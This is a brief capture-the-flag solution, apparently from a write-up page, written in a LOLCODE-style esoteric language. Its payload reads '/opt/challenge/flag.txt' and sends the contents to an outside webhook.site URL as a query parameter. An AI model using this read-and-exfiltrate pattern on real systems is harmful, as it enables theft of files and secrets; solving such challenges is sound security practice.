Rating:
```
GIMME urllib
f CAN HAZ open WIT '/opt/challenge/flag.txt' OK
flag CAN HAZ f OWN read THING
VISIBLE urllib OWN urlopen WIT " https://webhook.site/<REDACTED>?LOLD2= " ALONG WITH flag OK OWN read THING
```